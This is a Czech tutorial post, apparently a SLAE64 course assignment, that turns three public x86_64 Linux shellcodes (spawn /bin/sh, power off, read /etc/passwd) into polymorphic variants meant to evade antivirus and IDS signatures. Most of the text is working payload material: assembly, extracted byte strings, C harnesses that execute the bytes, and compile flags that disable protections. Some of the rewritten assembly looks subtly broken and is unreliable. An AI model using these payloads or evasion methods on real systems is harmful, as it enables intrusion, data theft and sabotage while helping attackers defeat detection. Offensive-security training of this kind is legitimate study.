V šestém textu této 64bitové série bude demonstrováno psaní polymorfních shellcodů, budou přepsány 3 shellcody z veřejně dostupných zdrojů do jejich polymorfní verze. Polymorfní shellcode nesmí být větší jak 150 % délky originálu.
Běžné shellcody jsou fingerprintované AV a IDS, proto nejsou během penetračního testování příliš vhodné. Například „/bin/bash/“ může být pro IDS jasné varování, že se děje něco podezřelého. Problém není možné kompletně vyřešit používáním custom encoderů, protože ty jsou vždy identifikovatelné pomocí stubu a instrukcí, které obsahuje. Naštěstí existuje řešení a tím jsou polymorfní shellcody. Díky polymorfním shellcodům je možné obelstít běžné AV a IDS řešení.
Polymorfní shellcode může používat například:
- vložení instrukcí, které nemají žádnou funkci a nemění funkcionality shellcodu
- používání odlišných nebo náhodných registrů
- randomizace pořadí prováděných instrukcí
- používání přímo ESP oproti push/pop instrukcím
- nepoužívání známých hex řetězců
- používání exotičtějších instrukcí
Jako první použijeme jednoduchý 64bit execve(“/bin/sh”) shellcode s originální délkou 29 bytů. Zdroj
/** x86_64 execveat("/bin//sh") 29 bytes shellcode
--[ AUTHORS
* ZadYree
* vaelio
* DaShrooms
~ Armature Technologies R&D
--[ asm
6a 42 push 0x42
58 pop rax
fe c4 inc ah
48 99 cqo
52 push rdx
48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f2f6e69622f
2f 73 68
57 push rdi
54 push rsp
5e pop rsi
49 89 d0 mov r8, rdx
49 89 d2 mov r10, rdx
0f 05 syscall
--[ COMPILE
gcc execveat.c -o execveat # NX-compatible :)
**/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
const uint8_t sc[29] = {
0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05
};
/** str
\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf
\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54
\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
**/
int main (void)
{
((void (*) (void)) sc) ();
return EXIT_SUCCESS;
}
Nejdříve si shellcode analyzujeme (nikdy nespouštějte neznámé shellcody bez předchozí analýzy), následně jej zkompilujeme a otestujeme:
- gcc -fno-stack-protector -z execstack shellcode1.c -o shellcode1

Jak můžeme vidět, shellcode funguje, budou provedeny následující modifikace:
- xor reg, reg:
- sub reg, reg
- push 0x42:
- add rax,0x11
- add rax,0x31
- push eax
- mov rdi, 0x68732f2f6e69622f
- mov rdi, 0x57621E1E5D58511E
- add rdi, 0x1
Finální nasm soubor:
; Filename: shellcode1-polymorphic.nasm
; Author: SLAE64-14209
global _start
section .text
_start:
;push 0x42
;pop rax
sub rax, rax
add rax, 0x11
add rax, 0x31
push rax
inc ah
cqo
push rdx
;mov rdi, 0x68732f2f6e69622f
mov rdi, 0x57621E1E5D58511E
add rdi, 0x1
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
Zkompilujeme a spustíme:
- nasm -f elf64 -o shellcode1.o shellcode1.nasm
- ld shellcode1.o -o shellcode1-polymorphic

Extrahujeme shellcode:
- objdump -d ./shellcode1 |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x48\x29\xc0\x48\x83\xc0\x11\x48\x83\xc0\x31\x50\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05”
Velikost je 37 bytů. Soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%206/shellcode1-polymorphic.nasm
Jako druhý shellcode použijeme Linux/x86_64 reboot(POWER_OFF), který má velikost 19 bytů. Zdroj
# Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Date: 2010-04-25
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
/*
; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
LINUX_REBOOT_CMD_POWER_OFF)
section .text
global _start
_start:
mov edx, 0x4321fedc
mov esi, 0x28121969
mov edi, 0xfee1dead
mov al, 0xa9
syscall
*/
int main(void)
{
char reboot[] =
"\xba\xdc\xfe\x21\x43" // mov $0x4321fedc,%edx
"\xbe\x69\x19\x12\x28" // mov $0x28121969,%esi
"\xbf\xad\xde\xe1\xfe" // mov $0xfee1dead,%edi
"\xb0\xa9" // mov $0xa9,%al
"\x0f\x05"; // syscall
(*(void (*)()) reboot)();
return 0;
}
Jak můžeme vidět ze screenu výše, shellcode funguje.
Polymorfní kód:
; Filename: shellcode2-polymorphic.nasm
; Author: SLAE64-14209
global _start
section .text
_start:
xor rax, rax
mov al, 0xa9
;mov edx, 0x4321fedc
mov edx, 0x4321fedb
inc dl
;mov esi, 0x28121969
mov esi, 0x28121968
inc sil
mov edi, 0xfee1dead
syscall
Zkompilujeme a spustíme:
- nasm -f elf64 -o shellcode2-polymorphic.o shellcode2-polymorphic.nasm
- ld shellcode2-polymorphic.o -o shellcode2-polymorphic
Extrahujeme shellcode:
- objdump -d ./shellcode2-polymorphic |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x48\x31\xc0\xb0\xa9\xba\xdb\xfe\x21\x43\xfe\xc2\xbe\x68\x19\x12\x28\x40\xfe\xc6\xbf\xad\xde\xe1\xfe\x0f\x05”
Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x48\x31\xc0\xb0\xa9\xba\xdb\xfe\x21\x43\xfe\xc2\xbe\x68\x19\x12\x28\x40\xfe\xc6\xbf\xad\xde\xe1\xfe\x0f\x05";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Velikost přepsaného shellcodu je 27 bytů.
Jako třetí shellcode použijeme 64bit shellcode, který provádí příkaz “cat /etc/passwd” s délkou 82 bytů. Zdroj
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwdA"
Shellcode:
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
#include <stdio.h>
#include <string.h>
char shellcode[] = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finální nasm soubor:
; Filename: shellcode3-polymorphic.nasm
; Author: SLAE64-14209
global _start
section .text
_start:
; syscall open file
push 0x01647773 ; 0x01 + dws
mov rbx, 0x7361702f6374652f ; sap/cte/
push rbx
mov rdi, rsp
dec byte [rdi + 11] ; solving null byte issue
push 2
pop rax ; syscall open = 2
;xor rsi, rsi ; set O_RDONLY flag
sub rsi, rsi
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
; syscall write to stdout
;xor rdi, rdi
;add dil, 1 ; set stdout fd = 1
push 1
pop rdx
;mov rdx, rax
xchg rax, rdx
push rax
;xor rax, rax
;add al, 1
pop rdi
syscall
; syscall exit
;xor rax, rax
;add al, 60
push 60
push rax
syscall
Zkompilujeme a spustíme:
- nasm -f elf64 -o shellcode3-polymorphic.o shellcode3-polymorphic.nasm
- ld shellcode3-polymorphic.o -o shellcode3-polymorphic

Extrahujeme shellcode:
- objdump -d ./shellcode3-polymorphic |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x68\x73\x77\x64\x01\x48\xbb\x2f\x65\x74\x63\x70\x61\x73\x53\x48\x89\xe7\xfe\x4f\x0b\x6a\x02\x58\x48\x29\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5a\x48\x92\x50\x5f\x0f\x05\x6a\x3c\x50\x0f\x05”
Velikost přepsaného shellcodu je 67 bytů, což je o 15 bytů méně, než je původní délka Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64